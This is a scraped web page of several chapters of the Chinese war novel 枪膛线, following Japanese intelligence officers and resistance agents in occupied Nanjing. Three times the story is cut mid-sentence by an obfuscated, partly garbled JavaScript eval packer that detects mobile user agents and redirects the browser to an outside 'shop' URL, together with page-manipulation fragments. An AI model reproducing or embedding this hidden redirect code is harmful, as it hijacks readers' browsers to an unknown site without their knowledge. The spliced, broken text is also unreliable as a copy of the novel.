工藤细微的举动被稻田尽收眼底,他不动声色,装作吃惊的样子:“怎么?南京城里还有没肃清的武装分子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259621|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工藤的话匣子一下子被打开,他侃侃道:“数量还不在少数,上一次在东郊紫金山我就遇到了他们的一支八九人的小队,后来听说黑木将军还指挥对那一带进行了围剿,据说他们的数量有三四十人之多,可惜都逃走了……今天在燕子矶码头,双方发生了激战,他们预先有所准备,否则我也不会受伤!” 稻田忽然想起什么,赶紧问道:“渡边少佐没事吧?” 工藤立即想起今天和她发生的种种不愉快,幽幽说道:“她能有什么事?如果不是我及时遏制了支那的那名狙击手,恐怕她已经效忠天皇了。” “那真是得好好感谢工藤君!”稻田语气中有些激动,但蓦然感觉到自己的这番表述会让工藤产生歧义,就连忙掩饰道:“毕竟,咱们都是同僚,互相照应总是应该的……” 此时的工藤想到的是渡边对他的羞辱,根本没发现稻田语气的变化,沉默片刻,抱怨道:“这个女人太狂妄了,总仗着黑木将军的庇护,根本不把其他人放在眼里!” 稻田连忙替渡边辩解道:“女人嘛,高傲点没什么。” 工藤突然一拍脑袋,话锋一转,兴趣盎然问道:“稻田君,你有没有看出,渡边少佐和黑将将军之间好像有些暧昧?” “胡说!”稻田断然道,“黑木将军有妻子的,听说住在北海道……” “你别不信,我看他们的眼神有问题!”狙击手工藤最擅长的就是观察,他洋洋得意说道:“有好几次,黑木将军对她表现出非同一般的关怀,这绝对超出了普通的上下级关系,你不妨想一想,将军也是人,也有欲望,况且渡边少佐又是风情万千……” 这 章没有结束,请点击下一页继续阅读! 第112章 卧龙计划 松机关机关长黑木瞳将军眉头紧锁,闷闷不乐地坐在办公桌前。 就在刚刚,发生了两件事让他心中十分憋屈。 帝国军队占领南京已有时日,可是南京和上海两城之间的电话通联一直时好时坏,当你没有什么紧要事时,电话总是一拨就通,可当你十万火急迫切想联系时,电话线路如同一个肠梗阻的病人,根本不管你如何心急如焚,或者望眼欲穿,就是毫无反应,这不,好不容易接通了上海方面的总机,可当他要求转接宪兵司令部特高课时,总机却声称外部电话没有直接转接到具体的二三级以下军事单位的权力。 黑木愤怒地喊道:“我是南京的松机关!” “松机关?不好意思我没听说过!”接线的小姐轻描淡写说道。 “我是机关长黑木瞳将军!”黑木又补充道。 “对不起将军,我只是按照我的操作规程办事,您就是天皇本人我也没办法!”接线小姐不等黑木问话,又说道:“如果您没有其它的要求,我只好挂电话了。”说完,也不让黑木争辩,径自中断了联通。 黑木怒不可遏,小小的一名电话接线员竟如此狂妄,可话说回来,确实又不能拿她怎么办,人家也只是按规程办事,黑木又迁怒到规则制定者,他不知道这条规定的制定到底基于什么原则,也不知是出自于那个单位的规定。 “一帮官僚的蠢猪!”黑木在心底愤愤地骂了一句。 审讯镰刀必须备课,必须详细了解此人的背景,必须掌握有关他的一切讯息!镰刀不是一般的小鱼小虾,延安方面千里迢迢动用了一切军事手段,保护此人潜入占领区,全面领导沪宁两地的地下武装和情报战线,其本身的价值已经超出了他的职务本身,如果再挖掘出更多有用的情报,则功德无量!因而,某种意义上,镰刀的价值要远远超过重庆方面的刘云雄将军,刘必定深陷牢笼已有时日,无兵无权,更没有现实可利用的情报资源,除了掌握一些老旧的、过时的信息和人脉外别无他用! 想到这里,黑木愤懑的内心稍稍得到缓解,毕竟,松机关成立不到一月的时间,就分别捕获了中国国共两党的两名高管,这是何等的赫赫战功啊! 然而,有关镰刀的一切,只有上海的宪兵司令部特高课掌握着第一手资料,要找到镰刀的软肋在短时间内有所突破,则必须寻求上海方面的帮助,可是看似如此简单至极的一个要求竟然被一个小小的接线员给拒绝了,不,是被一条愚蠢的规定给拒之门外了! 这样一件小事如果请示松井石根将军,在他的帮助下是会很快得到解决的,但黑木断然否定了这样的念头,松井石根将军日理万机,用这样一件小事去烦劳他岂不是说明了他黑木瞳的无能?岂不是会让对他抱有殷切期望的松井将军大失所望? 黑木心无旁骛,立即拨通了南京宪兵司令部特高课新任课长吉田多江的电话。 他需要吉田多江提供上海方面的电台呼号,他要与上海的特高课建立直接的联系! 可就这样一个小小的要求,吉田多江一开始竟然不愿提供给他,黑木问他原因,吉田支支吾吾,迟疑一会说有一件要事需要马上处理,待会他再把电话打过来! 狗屁要事!分明是请示去了! 黑木颓然地坐在办公桌前,内心翻滚,参谋本部和陆军部的勾心斗角已然影响到下面部门间的协同!这样的指挥体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259622|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系真让人诟病! 果然,吉田多江的电话很快打了进来,他愉快地告诉了黑木对方电台的呼号。 谢天谢地,看来中岛今朝吾将军还是给他面子的。 此时,有人敲门。 黑木还未发话,稻田勇推门进来了。 黑木刚刚平息的怒气又滋生起来,小小的一名电讯股长,只是上尉军衔,却越来越肆无忌惮了!黑木刚想发火,发现他的身后跟着渡边雪奈,便生生的忍住了。 其实,黑木万万没有料到,稻田勇已经把他黑木列为他不共戴天的敌人。 当然,情敌也是敌人之一,甚至超出了一般意义上的敌人的涵义。 “将军找我?”稻田大大咧咧坐在黑木桌前的沙发上。 稻田在心爱的女人面前要尽量表现得不亢不卑,即使是级别大于他很多的将军面前,况且,黑木还是他的情路上最大的障碍和拦路虎! 黑木强压住火气,温和地说道:“这是上海宪兵司令部特高课的电台呼号,你马上回去和他们建立联系!” “是!”稻田立即站起身,高声回答道。 一码归一码,在大节面前,稻田还是不含糊的。 黑木略感欣慰,思索着说道:“你记录……” 稻田赶紧把那本会议纪要展开,取出一支笔,做出记录状。 “……我是南京松机关,共党镰刀一案我已全权接手,速告知关于镰刀的一切,以方便我及时审讯,天皇万岁!” …… 林赤驱车直接来到月息路二十一号。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第113章 会见镰刀 时间已是下午两点。 林赤又问:“老池有没有说什么时候见我?” “他没说具体时间,只是说你回来后让你立即去建业客栈,他在301房间等你。”曲思秋放下林赤的手,又道:“建业客栈在汉中路上,就在老池的鼓楼区公所旁边。” 林赤站起身来,走到楼梯口,忽然回头问道:“那位罗蔓呢?我怎么没见到她?” 曲思秋一愣,旋而答道:“她说回家看看……对了,我有件事正要和你商量呢。” 林赤重新回到床边,坐下。“你说吧。” “她的身体其实也没什么大不了,就是需要静养静养,我想把她送到我父母的住处,让他们照顾她一段时间,你看如何?” “挺好的呀!”林赤道,“她老是待在诊所确实也不方便……” “那好,等她回来我就安排一下。” 出了诊所,天气忽然有了变化,天空中刮起了风,太阳已经不见,云层厚重,低低的压了下来。 冬雨欲来。 林赤驾车来到建业客栈。 林赤心情惴惴不安地上了三楼。 池碧疆的组织人丁不旺,一下子损失五名队员,于他们而言应是致命的挫折,不但元气大伤,短时间内又如何能够一下子恢复? 池碧疆肯定会质疑他的计划,是他的计划连累了他们。 卧龙计划。 想到他的卧龙计划,林赤不安的情绪立即淡薄了许多,毕竟他的计划开始实施了,这一点他很欣慰,尽管这份计划的实施并不是十分光明磊落,是踩着共党组织的肩膀爬上去的,以牺牲数条人命为代价才得以推动的,他林赤只是找准了一个恰到好处的时机! 但无论如何,他林赤绝无私心,他是真心为了这个破碎的国家。 再说,敌人已经封锁了燕子矶码头,真正的镰刀又如何能够在重重的监视下无恙地潜入? 林赤敲了敲301的房门。 他已做好被池碧疆奚落甚至呵斥甚至挥拳相向的心理准备。 骂不还口,打不还手! 房间里有脚步声渐近,走近房门时,池碧疆的声音出现了:“谁呀?” “是我。”林赤低声回答。 房门打开,池碧疆的脸庞出现在他的面前,面色平静,完全看不出他气愤填膺的样子。 林赤闪进房间,忽然看到房间里还有一人。 三十刚刚出头的青年男子,看身形足有一米八的身高,微瘦,神色坚毅、外表干练。 房间的几盏灯都被打开,窗帘严严实实拉着,他坐在靠窗处的一张椅子上。 他的目光和林赤相遇。 他的目光竟然表现出和他的年龄不匹配的深邃。 他站了起来,疾步朝着林赤走来。 “你就是林先生?”对方一开口,林赤立即松了口气,他本以为对方可能是池碧疆叫来的帮手,欲发难自己。 他的话语完全透露出一种亲昵和友好。 “我是。”林赤淡淡道。 对方半路上已经伸出了右手,做出要和林赤握手状。 林赤本能地伸出手,和他相握。 “你是?”林赤一边握着对方的手,一边问。 “他就是镰刀同志。”池碧疆连忙介绍。 林赤大吃一惊,想象中的镰刀没有五十岁起码也是四十来岁,可眼前的青年男子却仅仅比自己大上四五岁。 镰刀看出林赤的狐疑,补充道:“是的,我就是镰刀,半个月前才从延安动身,辗转了数千里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259623|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 林赤坦然道:“我是没想到,镰刀同志这么年轻。” 镰刀哈哈一笑,表现出和他年纪不相称的老练:“怎么,在林先生的印象中,我们共产党人都是迂腐的老古董?” 林赤在他的面前,平素的自信竟然荡然无存,呐呐道:“那也不尽然,我只是以为你们的组织一定会派一位经验丰富的领导人来……”话说到这里,林赤已觉得不妥,果然对方思维敏捷,盯着林赤笑意盎然道:“林先生是觉得我不堪大任?” 林赤慌忙摇头,尴尬道:“你误解了,我本意是说您年轻有为,否则贵党也不会把如此重要的岗位交给你啊!毕竟,从年龄上看,你也不会比我大上多少!”林赤已然恢复常态。继续道:“沪宁两城,乃华中重镇,又刚刚沦陷,斗争形势复杂,各种势力犬牙交错,如果没有过人之处确实是很难堪此大任的!” 池碧疆不失时机地插话,言语间充满了自豪:“林先生有所不知,镰刀同志参加过我党的长征,曾是我一方面军的某部师长,领兵数千,从江西一直杀到延安!” 林赤不由肃然起敬,立即又显得不自信起来,站在原地竟有些不知所措。 镰刀洞察一切,转头对池碧疆道:“老池,给林兄弟泡杯茶。”再次回头,拉着林赤在窗前坐下,“老池所言不虚,我原先确实是带兵打仗的,说白了,乃一介武夫,不谦虚地说,我兵带得好,仗打得也不赖,可是我也有短板,搞地下斗争这一套我还只是个初学者,如果不是组织上的安排,我其实是更愿意领兵打仗的,你想,和鬼子真刀真枪干是何等惬意啊!”镰刀说着从口袋 里掏出一包香烟,迟疑了一下说道:“我抽根烟林先生不会介意吧?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第114章 败露 天空飘起了雨,雨夹在风中撞击着汽车的挡风玻璃,发出噼噼啪啪的声响。 悦颜照相馆门前的,排队照相的人流已经散去,一同散去的还有日方和鼓楼区公所的良民证办理工作人员。 赵楷已经空闲了下来,见到林赤颇有些诧异。 林赤抖抖身上的雨水,进了大门。 “我是专门找你的。”林赤一进门便道。 房间里不少人,赵楷知道说话不是很方便,迎了上来。 两人走出门外,冒雨来到林赤的停车处,林赤把赵楷带到车里。 “你能陪我去找一下陶天阙会长吗?”林赤道。 “没问题,你找陶老有事?” “我有个想法……”林赤发动汽车,“我们边走边聊。” “陶老这个时候应该在家里。”赵楷看了看手表说道。 “我想让陶老出面,成立一家黄包车公司。” 赵楷没想到林赤提出这样的想法,一时猜不透他的用意,但转而结合林赤的身份,知道他必有深意,就说道:“这个想法陶老应无异议。” 陶老果然如赵楷所料,已经从赤盟会总部回了家。 还没等林赤进屋,老周已通报了陶天阙,陶天阙放下手中的茶杯,从大厅迎出门外。 赵楷知道林赤谈的是紧要事情,不便跟进,便留在走廊里,准备和老周闲聊几句,林赤却一把拉起赵楷,一同进了大门。 “我今日前来,是有件事想和陶老合计合计。”林赤一坐定就开门见山。 “林先生请讲。” “陶老可否出面,成立一家黄包车公司,在南京组建一支黄包车队?” 陶天阙愣了一下,随即似乎明白了什么,“林先生是想利用黄包车夫的身份掩护,安插人手,成立一支自己的武装?” “正有此意!”林赤毫不避讳。 “好主意!”赵楷情不自禁道。 “当然,这家公司必须以营利为主要目的,且必须专人经营,要做得风生水起,这样不至于被外人怀疑。”林赤把自己的想法和盘托出,“主要的人员要从社会上招募,其他的可以从你们赤盟会物色一批思想过硬、立场坚定的人员参与,另外我再挑些我们的人手藏匿其中,但这些人员我们内部要有所区别。” “嗯,可以一试。”陶天阙颔首道。 “对呀,既然和鬼子干,我们就认认真真地干!”赵楷抑制不住兴奋,“咱们赤盟会不少兄弟早就跃跃欲试,但苦于没找到好的身份掩护!” “林先生的想法我没有异议,只是谁来牵这个头?林先生可以抽身吗?”陶天阙把目光扫向了林赤。 “我眼下有几件棘手的事等待我处理,我想这个牵头人赵楷兄比较合适。” 赵楷再次看着陶天阙,“我很乐意,不过这要看老会长的意思……” “照相馆的事都走上正轨了吧?”陶天阙问。 “几个兄弟都已经上手了,完全可以胜任。”赵楷道。 “那好,赵楷你就干起来吧,我跟日本人吹个风,我想他们不会刁难的,南京城刚刚经受了战火的蹂躏,满目疮痍、民不聊生,日本人现在最希望的就是这座城市能够很快恢复正常的秩序,否则他们欠国际上的一个交待!”陶天阙顿了顿道:“日本人在不少场合不止一次声称,南京的治安已井然有序,市民均已安居乐业……目前国际舆论已对日本不利,南京城若再乱下去,则无异于打自己的脸!” “那我该怎么做?”赵楷看看陶天阙,再看看林赤。 陶天阙也把目光投向林赤,“林先生你的看法呢?” “你第一批先发展一些精干的人进来,最好是有身手的,不求数量,但求质量,我可以给他们申请一些枪支,尽量做到人手一支……其他的车夫都从社会上招聘,每天的营收统统上交,由你处每月底发放薪水,以此来加强管理!” “林先生准备如何区分他们?”陶天阙道。 “我想了想,不妨在鞋帮上作上记号,可以……可以将核心人员的鞋帮上缝上一小根红布条,这样我们就可以一眼看出是自己人,在要紧关头可以派上用场……还有,内部人之间可采用暗语加以识别……” 赵楷一下子来了兴趣,乐呵呵问道:“采用什么暗语?” 林赤思索着,没有立即回答。 “我看咱们就厚着脸用一下岳鹏举和南山诗人的诗词吧。”陶天阙不紧不慢道。 “谁是岳鹏举?”赵楷追问。 林赤替陶天阙解释道:“岳鹏举乃北宋名将岳飞,南山诗人应该是指陆游吧!” 陶天阙点头,“一句用岳飞的,一句用陆游的。” 林赤:“他们的哪首诗词?岳飞的名作应该是满江红?” 陶天阙:“对,上句用岳飞的‘怒发冲冠凭阑处’,下一句用陆游的‘铁马冰河入梦来’,你们看如何?” 林赤不由得轻声咏道:“‘怒发冲冠凭阑处,潇潇雨歇……夜阑卧听风吹雨、铁马冰河入梦来’,好!恰如其分,就它了!” 这章没有结束,请点击下一页继续阅读!赵楷也跟着默念道:“‘怒发冲冠凭阑处、铁马冰河入梦来’好诗!” “暗语一旦启用,就要严守秘密!”林赤叮嘱赵楷。 “那当然,我一定花足心思,大干一场!”赵楷显得极度亢奋:“你们把这么重要的事情交给我来做,我岂能怠慢!” …… 临近傍晚,上海宪兵司令部特高课终于传来了有关镰刀的相关信息。 一接到反馈的电讯,稻田勇第一时间给黑木送了过来。 此时的黑木正在接听电话。 电话是日军华中方面军司令官松井石根大将打来的。 电话中的松井将军正在大发雷霆,把黑木瞳骂得狗血喷头! 事情的起因是因为香港《大公报》上的一篇新闻报道——史上最无耻的谎言:日军正在南京城进行疯狂的文化掠夺!这篇报道的作者署名“吾思”,报道以详尽的数据和大幅的照片严厉驳斥了日军否定在南京进行文化掠夺的谎言,有理有据,铁证如山。 如果仅仅是这样一份报道,则不足以让松井石根将军生这么大的气,如果问罪的是陆军省,或者是是参谋本部,松井也可一笑置之,大不了落下一个把关不严、督促不力的指责,未能严守秘密,导致盗取中华文化的行径败露,然而,让松井石根内心惶惶然的是问罪的不是别人,竟是天皇本人! 电报由天皇亲拟,言辞犀利,呈五雷压顶之势。 “南京事件,震惊国际,舆论哗然,责难潮涌,声讨甚嚣,昔日盟友,弃之若履,帝国何以立威?” 这份电报并无处理意见,也无善后措施,只是澄清了天皇本人的困局,文字之间,充斥着浓浓的沮丧和失望情绪。 而正是天皇的这份失意让松井石根如坐针毡,冷汗涔涔。 黑木一开始接到松井石根的问责电话,以为只是工作上的一个疏漏,并没想到此事已惊动了远在东京的天皇,申辩道:“据我所知,南京外泄的照片,已经被我上海的情报机构截获,并未外流……” 他的话还没说完,引得松井勃然大怒:“你难道是需要我亲自把手中的这份报纸送到你到你面前吗?” “可是……岩井公馆总领事岩井英一前些日子确实和我通报过,那份胶卷此时应该就在他的手里啊!” 松井根本不想听他的解释,吼叫道:“八嘎,你真是个固执的猪,难不成我在骗你?这件事已经惊扰到天皇了,黑木君要不要我给你读读天皇的电报?!” 黑木这才知道事情的严重性,一下子觉得自己坠入了无底深渊,有气无力道:“我赶紧安排人去取一下报纸,我一定给您一个交待!” “你去给天皇交待吧!”松井说完就摔下了电话。 黑木拿着电话话筒站在办公桌前怔怔发呆,电话那头已是一片盲音,他可以想象出松井石根将军气急败坏地样子,心里一下子觉得空荡荡的,以前所有的辛劳和付出转眼间已经无足轻重! 就连他引起自豪的两件盖世伟功——抓获刘云雄和镰刀,都已微不足道! 而就在这时,稻田勇手拿电报出现在他的办公室门口。 “报告!”稻田勇精神抖擞喊了一声。 黑木还在发愣,居然没有反应。 五六秒后,稻田勇大大咧咧推门进来。 这一举动,立即激发了黑木对他排山倒海的怨气,小小的电讯股股长稻田勇,竟然三番五次未得允许,就破门而入! “滚出去!”黑木歇斯底里啸叫道。 稻田勇正撞在了黑木的枪口上,黑木的委屈一下子找到了发泄之人,他对稻田继续喝道:“给我重来一遍!” 稻田在门口就听到了黑木在电话中惶惶不可终日的声音,明白他受到了更高级别的训斥,这分明是拿他出气呢,在稻田的心目中,对黑木已无好感,谁让他和自己争抢同一个女人呢!稻田的嘴角游过一丝轻蔑的微笑,也不生气,不慌不忙地出了房间,关上房门,在门口稍稍准备了一下,以更高亢的声音喊道:“报告!” 黑木拿起桌上的茶杯,吹散上面漂浮的茶叶,抿了一口茶,平复了一下狂乱的心情。 足足半分钟后,黑木缓缓说道:“请进!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第115章 心绪纷乱 稻田勇重新进了房间,在黑木的办公桌前站定。 黑木抬起眼皮瞄了一眼稻田,问道:“什么事?” “上海宪兵司令部特高课来电。”稻田一边回答一边将手中的译电递给黑木。 黑木立即坐正身子,接过译电稿。 是一份关于镰刀情况的复电,透露出的信息并不多,电报内容如下:镰刀,本名肖逸,32岁,参加过长征,35年到达陕北,同年入苏联伏龙芝军事学院,具体专业不详,37年应召回国,未毕业。 “就这么多?”黑木抖抖手中的电报稿问道。 “是的,将军!”稻田勇面无表情回答道。 “再去电!”黑木立即命令道。 稻田勇赶紧拿出纪要本,做出记录状。 “我方需要详尽了解镰刀以及情报提供者的一切细节,以方便及时破案。”黑木道。 稻田勇快速记完,抬头询问道:“将军,就这些吗?” “是的,马上发出!”黑木道。 稻田勇大声应了一句,便欲转身离去。黑木把他叫住,补充一句:“你叫渡边雪奈少佐到我办公室来一下!” 稻田刚走没多久,渡边敲门进来,一进门问道:“将军找我?” 黑木一脸懊恼:“你立即去华中方面军司令部找一下松井石根将军,替我取回一份前些天的香港《大公报》!” 渡边看黑木神情落寞,关心问道:“将军遇到麻烦了?” “有人用相机拍下了我们在南京城搬运古玩藏书的照片,并刊登在《大公报》上!” “这有什么大不了!”渡边一副无所谓的样子。 黑木长叹一口气:“松井石根将军非常生气,这件事已惊动了帝国朝野,现在就连天皇都开始过问了,松井将军的压力很大,我们必须尽快破案,给所有人一个交待!” “怎么会这样?”渡边也有些吃惊,略带同情地安慰道:“我听说搜刮文物藏书这些事情几乎都是第十六师团干的呀,可与我们松机关毫无干系!” “可是东京那帮官僚可不这么认为,情报的泄露我们松机关要担第一要责,谁让我们是南京城的专业情报机构呢!”想到气愤处,黑木又咕哝道:“好处全被那帮一线作战部队占了,我们只负责擦屁股!” 渡边不便再说什么,提起水壶替黑木续上开水。 黑木又想起一事,问:“梁洪之的特使什么时候到?” “这件事我一直在接洽,听说他们明天到上海,在上海进行短期逗留后再赶往南京。” “哦,这件事你多加关注,随时报告,一旦他们抵达南京,马上着手安排会见事宜!”黑木端起茶杯,刚想喝上一口,却发现茶太烫,不得已放下了茶杯,“你速去速回,晚上我准备提审共党疑犯镰刀,你与我一同前去。” 渡边告退,立即赶往汤山镇日军华中方面军司令部驻地。 渡边一走,黑木就拨通了老虎桥监狱典狱长武内次郎的电话。 “武内君,我是松机关机关长黑木瞳,你准备一下,晚上我要审问镰刀!” 电话那头的武内次郎似乎喘着气,周围也有些嘈杂,黑木皱了一下眉头,连忙询问道:“你那边发生什么了?” “我正要给您汇报呢,刘云雄一直嚷着要见他的妻子,我没有答应,他已经开始绝食了!” “什么时候的事?绝食多长时间啦?”黑木一下子紧张起来,不由得站了起来。 “今天中午开始,他就不吃不喝,刚才陈炳松副典狱长亲自给他送去了晚饭,他依旧没吃,我去劝他才回来……” “劝说有效果吗?”黑木迫切问道。 “没用,他声称不答应他的要求他就永远不进食!”武内次郎沉吟片刻又道:“要不将军今晚再顺便劝劝他吧,您的话一定比我管用!” “不!”黑木断然道,“我现在不想见他,我就是要晾他一晾……” “可是,万一他身体弄坏了怎么办?”武内不无担忧问道。 黑木沉思了一会儿,说道:“你再等上半天,到明天中午,如果他还不吃饭,你不妨先答应他的要求,拖上一拖!” “是,我懂了!”电话中武内提高声音答道。 黑木忽然想起镰刀,问:“那位共党嫌犯镰刀如何?你必须加强看管,防止他有过激举动!” “将军指哪方面?” “比如一时想不开,自杀什么的……” “他?”武内语气轻松起来,“他好着呢,每次送的饭食都一扫而光!” “那就好,只要他还有活下去的欲望一切就好办!”黑木欣慰说道,“不过,你们千万不可大意,不能把问题想得过于简单!” “是,将军放心,属下谨记!” 黑木给武内次郎打完电话,又回到了现实,想起松井石根将军在电话中的责难,心情又一下子压抑了起来,就决定出去走走。 出了憩庐,雨越下越大,雨水在灰色的天空中,织成细密的水帘。 好心的门卫递给黑木一把雨伞,黑木摇了摇手。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!黑木在雨中踯躅而行。 冰凉的雨水很快打湿了衣服,迷蒙了眼睛。 黑木纷乱的心情一下子沉寂了下来。 雨中漫步的感觉竟如此美妙。 沿着憩庐东边的一条马路往北四五百米,就是松机关的集体宿舍,黑木不知不觉就来到楼前。 黑木忽然想起受伤的工藤夕贵,既然到了,黑木觉得有必要看望他一下。可是他不知工藤到底是哪一间宿舍,正踌躇不前时,蓦然听到左前方一楼的宿舍窗前有人喊了一声:“将军!” 黑木定睛一看,正是工藤夕贵。 黑木进了宿舍楼,工藤吊着受伤的右臂从走廊里快步迎了上来。 “我正在窗前看下雨呢,一眼就发现了将军,将军怎么来啦?居然连伞都不打?” “我特地来看看工藤君!”黑木毫不迟疑说道。 工藤显得激动起来:“有劳将军记挂,工藤受宠若惊!” 黑木坦然接受了工藤的这份感激,显得愈加关切的样子:“工藤君刚来,一切还习惯吗?” “当然,我就是个猎户的儿子,从小生活在赤石山里,整天和猛兽野禽为伍,生活没那么多的讲究!” “哦,原来工藤君祖辈是打猎的,难怪枪法这么好!”黑木显得兴致勃勃。 工藤将黑木让进宿舍,手忙脚乱地给他让座。黑木坐下,眼睛四处打量,问道:“和你一起住的还有谁?” “电讯股的稻田勇,另一位是川上麻衣中佐!” 黑木立即摆出一副自责的样子:“条件是简陋了点,三个人挤一间宿舍,难为你们了!”黑木顿了顿道:“不过,居住条件马上会有改善,听说后勤方面特地给我们松机关又分配了一栋房子,到时我争取给工藤君安排一间单间!” “谢谢将军关心!” 黑木把目光停在工藤受伤的手臂上,换了一种轻柔的语气问道:“伤不碍事吧?” “将军放心,一周后就可以领受新任务!” 黑木赞赏地点头,继续说道:“听渡边少佐提起,敌人的狙击手相当厉害,果有其事?” 工藤马上显出一副不屑地模样:“是我太不小心了,我太轻敌,以致让敌人钻了空子!” “那就好,我想帝国的王牌狙击手工藤君,又怎么可能敌不过支那的一名无名小卒呢?” “下次,如果让我再碰到他,我一定取其性命!”工藤眼露凶光。 黑木没有接话,站起身来,抚摸着工藤的脑袋道:“你是新人,又是从第六师团调过来的,稻田君他们不会欺负你吧?” “没有,我们之间只有互相尊重!” 黑木双手背在身后,就欲出门。 身后的工藤突然轻喊一声:“将军……” 黑木回头,马上看到工藤欲言又止的样子。 “工藤君是否有话要说?” 工藤想了想,吞吞吐吐道:“将军,有件事……不知该不该讲?” 黑木脸上扬起一片亲昵地微笑,和蔼地说道:“如果方便的话,工藤君不妨说与我听!” 工藤好像是下了某种决心,语气越来越坚决说道:“将军,我发现稻田君好像藏有秘密!” “是吗?”黑木饶有兴趣地转身,重新回到工藤的身旁,“具体说说……” 工藤几步走到稻田的床铺前,蹲下身子,用未受伤的左手把稻田的行李箱从床下吃力地拉出床沿外,指着箱子说道:“这个箱子很沉,稻田君很在意它,他好像很害怕我们碰他的箱子!” 黑木已走到稻田的床前,弯下身子将手搭在箱子的把手上,慢慢提起,发现确实很重,好奇地道:“是啊,这箱子怎么这么沉,根本不像是衣物之类啊!”他微微蹙眉,“倒好像是金属之物。” 黑木把箱子放到地上,用手拨弄了一下箱子上的锁,嘴里道:“锁着呢!” 工藤附和道:“是的,一直锁着。” 黑木坐在稻田的床上,把眼光停在箱子上。 沉默了足足一分钟,黑木站起身道:“这样吧,工藤君,你平时多留意,一旦发现可疑的地方,立即向我报告!” “是,将军!”工藤正了正身子。 黑木说完这才告别工藤而去。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第116章 提审“镰刀” 冬天的夜雨似乎永无休止,滴滴答答,不急不躁,永不疲倦。 饭后,黑木回到办公室等待着渡边的归来。 这一等就是一个多小时,时至晚间八点。 相较于南京冬夜的雨,黑木的心情却无半点耐心,他反复在房间中来回踱步,不时来到窗前,将目光投向憩庐的大门,期望着渡边能够很快现身。 从业二十多年来,他黑木从未这样心浮气躁过。 其实,此时的黑木,更希望看到的是渡边从松井石根处带回的那份《大公报》,他迫切想了解的是《大公报》上到底刊登了什么,以至于惊扰到了天皇,并导致处变不惊的松井将军如此寝食难安,一改往昔对他温文尔雅的礼遇! 尽管黑木提前电告了武内次郎,提出今夜突审镰刀的要求,但这两件事更让黑木坐立不安的是前者。 从镰刀身上找到突破口,只是时间问题,虽然可能不会一蹴而就,但只要有足够的耐心,则再难的局面他都有办法破解,可是,文化掠夺的泄密事件,由于舆情的沸腾,快速侦破此案却一下子显得十分迫切,且在这样一个冬雨淅淅沥沥的夜晚被提上了议事日程。 他必须在最短的时间内给天皇一个交待。 总算看到了两束汽车大灯的刺眼光芒穿透氤氲的雾气。 一辆轿车疾驰而至,在憩庐大门口戛然而止。 渡边雪奈从车上匆匆走下,纤细的身影一转眼闪进了大门内。 很快,敲门声响起。 黑木已经等在门后,敲门声一起,他就拉开了房门。 渡边闪身进来,她的手上拿着一只文件袋。 黑木迅速接过文件袋,屁股刚刚粘上沙发,手已经将里面的报纸抽出。 一份昨天的《大公报》,头版头条,图文并茂! 文件袋中还有一物,乃是天皇给松井石根的译电。 黑木先看电报,内容触目惊心,让他无地自容。 渡边已悄悄站在黑木的身后,黑木抬头看了她一眼,将译电稿递给渡边,渡边马上低头凝看。 黑木这才徐徐将报纸展开,放在沙发前的茶几上。 这篇报道,由五幅硕大的照片和一小段文字组成,此外,每张照片下还配有点题的文字。 先看第一幅照片,是一张远景照片,照片的视角居高临下,一栋楼房的空地上,停着一辆军用卡车,土黄色的车身,车的右前方插着一面帝国的太阳旗,五六名帝国士兵正在往车厢里搬运整箱整箱的图书,在车头的不远处,是一扇铁门,铁门的上方是铁结构的门脸,上面焊着五个大字,依稀可辨:金陵图书馆。铁门两侧,是持枪警戒的帝国士兵。铁门外紧临一条马路,路两边是粗壮的法国梧桐树,树叶已然凋敝。 这张照片详实地记录了所发生的事件——事件参与者:日本士兵;发生地:南京城的金陵图书馆;时间:树叶凋落的冬天;事件:搬运金陵图书馆的图书——证据确凿,让人百口莫辩,难怪舆论会一边倒,也难怪天皇会用“南京事件,震惊国际,舆论哗然,责难潮涌,声讨甚嚣,昔日盟友,弃之若履,帝国何以立威?”这样严厉的措辞来抒怀心中的愤懑! 接下来的其它照片,则是大同小异,无非就是强化这一事实。 此时的渡边已阅过译电稿,正探着脑袋和黑木一道看着这篇报道。 “你的,过来坐下。”黑木将身子侧了侧,给渡边让出一块空地。 渡边的目光一直不离开报纸,并以那份报纸为中心,绕到沙发另一侧,缓缓坐下。 “你有什么看法?”黑木将报纸推到渡边的面前。 